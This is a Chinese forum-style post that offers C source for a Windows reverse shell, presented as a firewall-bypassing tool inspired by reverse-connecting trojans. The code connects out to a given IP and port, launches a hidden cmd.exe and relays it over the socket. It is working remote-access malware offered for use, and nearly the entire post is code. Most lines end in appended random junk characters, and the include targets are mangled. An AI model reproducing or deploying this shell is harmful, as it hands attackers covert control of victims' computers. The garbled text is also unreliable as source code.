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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PSVc+s[Q+V  
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/* ============================== L19C<5>  
Rebound port in Windows NT &f^l ^K 5:  
By wind,2006/7 Jn3 An  
===============================*/ *l;B\=KR  
#include y^Kph# F"  
#include 0B&Y ]*  
&S]@Ot<z  
#pragma comment(lib,"wsock32.lib") F;[T#N:~  
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void OutputShell(); %]6~Eq%s  
SOCKET sClient; @@rEs40  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,0~9dS   
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void main(int argc,char **argv) ^#1.l=s  
{ ?(m jx  
WSADATA stWsaData; vR=6pl$|~~  
int nRet; J9Ou+6u(  
SOCKADDR_IN stSaiClient,stSaiServer; 9,_mS{+B  
d/|D<Sb[s  
if(argc != 3) :ORR_f`>  
{ }kK[S|XVO  
printf("Useage:\n\rRebound DestIP DestPort\n"); =;|QZ"%E  
return; FwY&/\J7V  
} f<*Js)k  
MR,R}B$  
WSAStartup(MAKEWORD(2,2),&stWsaData); I,VH=Yn5,  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3g~^[&|i  
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stSaiClient.sin_family = AF_INET; ]f: v,a  
stSaiClient.sin_port = htons(0); TsUOpEuX  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -zO2|@S,  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /`;n@0k>2  
{ rs*Fy@  
printf("Bind Socket Failed!\n"); )0e2ic/  
return; d]i(h~?_  
} RUUk f({(  
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stSaiServer.sin_family = AF_INET; <~X>[PK<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gE hN3(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @]c(V%x   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8kOKwEX  
{ N0w`!<y:c  
printf("Connect Error!"); { "xln/  
return; pD2<fP_  
} G,<T/f .{$  
OutputShell(); A'K%WW*'U  
} #nO|A\N  
j.ldaLdG  
void OutputShell() kR@Yl Yo  
{ 7Irau_  
char szBuff[1024]; o/ mF #  
SECURITY_ATTRIBUTES stSecurityAttributes; :BukUket1e  
OSVERSIONINFO stOsversionInfo; 8W+gl=C~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JwRF(1_sM  
STARTUPINFO stStartupInfo; eo!zW  
char *szShell; jWO/ xX  
PROCESS_INFORMATION stProcessInformation; GK}'R=   
unsigned long lBytesRead; !W'Ui 9uX  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {(#%N5%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 16EVl~LN  
stSecurityAttributes.lpSecurityDescriptor = 0;  6vTo*8D  
stSecurityAttributes.bInheritHandle = TRUE; ,prF6*g+WE  
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X$\i{p9jw  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KZ e)K_1[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tYqs~B3  
I.@hW>k  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J3b4cxm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .E~(h*NW  
stStartupInfo.wShowWindow = SW_HIDE; d ~_`M0+  
stStartupInfo.hStdInput = hReadPipe; ;t> Z+O%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $BDBN_p  
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GetVersionEx(&stOsversionInfo); |nk3^;Yf  
W*:,m8wk  
switch(stOsversionInfo.dwPlatformId) LFp]7Dq  
{ .LRxP#B  
case 1: 3PUAH  
szShell = "command.com"; E%TpJl'U  
break; m&oi8 P-6  
default: x/MZ(A%D  
szShell = "cmd.exe"; ^D_/=4rz8  
break; *Sf -; U  
}  <n\`d  
)g@S%Yu  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l0Ti Z  
a!c[!  
send(sClient,szMsg,77,0); W~B5>;y  
while(1) b~C$R[S  
{ rspayO<]3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]AS"z<  
if(lBytesRead) /Go K}W}  
{ Uo_tUp_Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]Lqt( c  
send(sClient,szBuff,lBytesRead,0); p'?w2YN/  
} xaKst p  
else >Dg#9  
{ =`C4qC _  
lBytesRead=recv(sClient,szBuff,1024,0); DV]7.Bm  
if(lBytesRead<=0) break; l??;3kh1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |__=d+M'  
} .`Zf}[5[  
} <;t)6:N\  
I#FF*@oeM  
return; td-3h,\\  
}
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